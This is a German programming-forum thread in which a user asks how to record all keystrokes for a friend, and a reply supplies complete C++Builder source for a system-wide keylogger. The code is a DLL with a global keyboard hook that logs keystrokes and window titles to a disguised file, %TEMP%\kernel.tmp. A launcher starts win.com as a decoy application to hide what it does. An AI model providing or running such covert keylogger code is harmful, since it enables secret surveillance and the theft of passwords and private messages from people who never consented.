Tasteneingaben speichern



  • hi
    ich wurde von meinem freund gefragt, ob ich ihm mal ein programm schreiben könnte, mit dem man alle tasteneingaben speichern kann. leider weiß ich bisher nur, dass man das mit dem hook-befehl machen kann, aber den verstehe ich irgendwie nicht. deshalb wollte ich fragen, ob mal jemand ein beispiel dazu schreiben könnte.
    vielen dank schon jetzt



  • Hi,

    ich hab mal mit Hooks rumgespielt. ich weiss nicht was für eine IDE Du benutzt, ich benutze Borland C++Builder 5, deshalb ist der Quellcode auch für diese Umgebung. Für andere Umgebungen musst Du es etwas anpassen.

    Auf jeden fall muss sich die Hook-Funktion in einer Separaten Dll befinden, wenn du auf alle Programme zugriff haben willst.

    die Dll:

    //---------------------------------------------------------------------------
    #include <vcl.h>
    #include <windows.h>
    #include <meconsts.h>
    #pragma hdrstop
    
    void AppendFile(const char* FileName, const char* str)
    {
       int h;
       if (FileExists(FileName))
          h=FileOpen(FileName, fmOpenWrite);
       else
          h=FileCreate(FileName);
       FileSeek(h,0,2);
    
       FileWrite(h,AnsiString(str).c_str(),strlen(str));
       FileClose(h);
    }
    
    char* getWindowCaption(HWND hWnd)
    {
       char szBuf[2050];
       int textLen=GetWindowText(hWnd,szBuf,2050);
       szBuf[textLen]=0;
    
       char tmp[1025];
       int modLen=GetModuleFileName((HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), tmp, MAX_PATH);
       tmp[modLen]=0;
       strcat(szBuf, " ExeFile:");
       strcat(szBuf,tmp);
    
       return &szBuf[0];
    }
    
    char translateChar(WPARAM wParam, LPARAM lParam)
    {
       bool Shift=(bool)HIBYTE(GetKeyState(VK_SHIFT));  // Shift-Taste
       bool AltGr=( ((bool)HIBYTE(GetKeyState(VK_CONTROL))) && ((bool)HIBYTE(GetKeyState(VK_MENU))) );  // Alt Gr-Taste
       bool Caps=(bool)LOBYTE(GetKeyState(VK_CAPITAL));   // Capital-Taste
      // bool Num=(bool)HIBYTE(GetKeyState(VK_NUMLOCK));    // Num-Taste
    
       signed char c=(char)wParam;
    
       if ((c>='A') && (c<='Z')){
          if (!(Shift || Caps)) // Shift oder Caps NICHT gedrückt
             c-=('A'-'a');
          if (((c=='q') || (c=='Q')) && AltGr) c='@';
          else if (((c=='m') || (c=='M')) && AltGr) c='µ';
       }else switch(c){
             case 'º':
                if (!(Shift || Caps)) c='ü';
                else                  c='Ü';
                break;
             case '»':
                if (!(Shift || Caps)) c='+';
                else                  c='*';
                break;
             case 'Œ':
                if (!(Shift || Caps)) c=',';
                else                  c=';';
                break;
             case 'œ':
                if (!(Shift || Caps)) c='-';
                else                  c='_';
                break;
             case 'Ÿ':
                if (!(Shift || Caps)) c='.';
                else                  c=':';
                break;
             case '¿':
                if (!(Shift || Caps)) c='#';
                else                  c='\'';
                break;
             case 'À':
                if (!(Shift || Caps)) c='ö';
                else                  c='Ö';
                break;
             case 'Û':
                if (!(Shift || Caps)) c='ß';
                else                  c='?';
                break;
             case 'Ü':
                if (!(Shift || Caps)) c='^';
                else                  c='°';
                break;
             case 'Ý':
                if (!(Shift || Caps)) c='Ž';
                else                  c='`';
                break;
             case 'Þ':
                if (!(Shift || Caps)) c='ä';
                else                  c='Ä';
                break;
             case 'â':
                if (!(Shift || Caps)) c='<';
                else                  c='>';
                break;
             case '0':  if (Shift || Caps) c='=';
                        else if (AltGr)    c='}';   break;
             case '1':  if (Shift || Caps) c='!';   break;
             case '2':  if (Shift || Caps) c='"';
                        else if (AltGr)    c='²';   break;
             case '3':  if (Shift || Caps) c='§';
                        else if (AltGr)    c='³';   break;
             case '4':  if (Shift || Caps) c='$';   break;
             case '5':  if (Shift || Caps) c='%';   break;
             case '6':  if (Shift || Caps) c='&';   break;
             case '7':  if (Shift || Caps) c='/';
                        else if (AltGr)    c='{';   break;
             case '8':  if (Shift || Caps) c='(';
                        else if (AltGr)    c='[';   break;
             case '9':  if (Shift || Caps) c=')';
                        else if (AltGr)    c=']';   break;
             case VK_RETURN: case VK_SPACE: case VK_TAB: case VK_BACK: break;       // nichts unternehmen
             default: c=0;                                                  // TODO: Num-Tasten implementieren
       }
       if ( ((c=='ß') || (c=='?')) && AltGr) c='\\';
       else if ( ((c=='<') || (c=='>')) && AltGr) c='|';
       else if ( ((c=='+') || (c=='*')) && AltGr) c='~';
    
       return c;
    }
    
    const int MaxStr=50;
    AnsiString out;
    
    EXPORT void CALLBACK WriteStr(bool now=false) //wenn now=true dann sofort schreiben
    {
       if (now || (out.Length()>=MaxStr) ){
          AppendFile((IncludeTrailingBackslash(getenv("TEMP"))+"kernel.tmp").c_str(), out.c_str());
          out="";
       }
    }
    
    EXPORT LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
       static HWND oldWin;
    
       if (oldWin!=GetForegroundWindow())
          out=("\r\nHWND:"+AnsiString(getWindowCaption(GetForegroundWindow()))+"\r\nKeys:\r\n");
       AppendStr(out, AnsiString(translateChar(wParam, lParam)));
       WriteStr();
       oldWin=GetForegroundWindow();
    
       return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    #pragma argsused
    BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
    {
       switch(reason){
          case DLL_PROCESS_DETACH: case DLL_THREAD_DETACH:
             WriteStr(true);
       }
            return TRUE;
    }//---------------------------------------------------------------------------
    

    ... und eine EXE, die diese Dll aufruft

    //---------------------------------------------------------------------------
    #include <vcl.h>
    #pragma hdrstop
    USERES("Windows.res");
    //---------------------------------------------------------------------------
    HMODULE      hDll;
    
    HOOKPROC     hkKeyMsg;
    HHOOK        hhKeyMsg;
    
    typedef  void CALLBACK (*TBoolFunc) (bool);
    
    TBoolFunc WriteInFile;
    //---------------------------------------------------------------------------
    WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR szCmdLine, int)
    {
            MSG msg;
    
            try{
               Application->Initialize();
               Application->Run();
    
               // Wenn Start-Parameter nicht gefunden dann Win.com als 
               //- Schein-Anwendung starten
               if (strcmp(szCmdLine,"-start")){
                  // Ich weiss das die Funktion veraltet sei, aber man
                  //- braucht weniger Parameter als bei CreateProcess
                  WinExec("win.com",SW_SHOWNORMAL);
                  Application->Terminate();
               }
    
               // Dll Initiieren
               hDll = LoadLibrary("DLL.dll");
               hkKeyMsg = (HOOKPROC)GetProcAddress(hDll, "KeyBoardProc");
               WriteInFile =(TBoolFunc)GetProcAddress(hDll, "WriteStr");
    
               // Hook starten
               hhKeyMsg=SetWindowsHookEx(WH_KEYBOARD, hkKeyMsg, hDll, 0);
    
               // Unendliche Schleife
               while (GetMessage(&msg, NULL, 0, 0) ){
                  TranslateMessage(&msg);
                  switch(msg.message){
                     case WM_DESTROY:
                        UnhookWindowsHookEx(hhKeyMsg);
                        if (hDll!=NULL)
                            FreeLibrary(hDll);
                        PostQuitMessage(0);
                        break;
                  }
                  DispatchMessage(&msg);
               }
            }__finally {
               WriteInFile(true);
               UnhookWindowsHookEx(hhKeyMsg);
               if (hDll!=NULL)
                  FreeLibrary(hDll);
               //Application->Terminate();
            }
            return 0;
    }
    //---------------------------------------------------------------------------
    

    Die Eingabe wird in der datei %TMP%/kernel.tmp gespeichert, inklusive
    der Bezeichnung der EXE-Datei

    [ Dieser Beitrag wurde am 28.06.2003 um 21:47 Uhr von flenders editiert. ]


Anmelden zum Antworten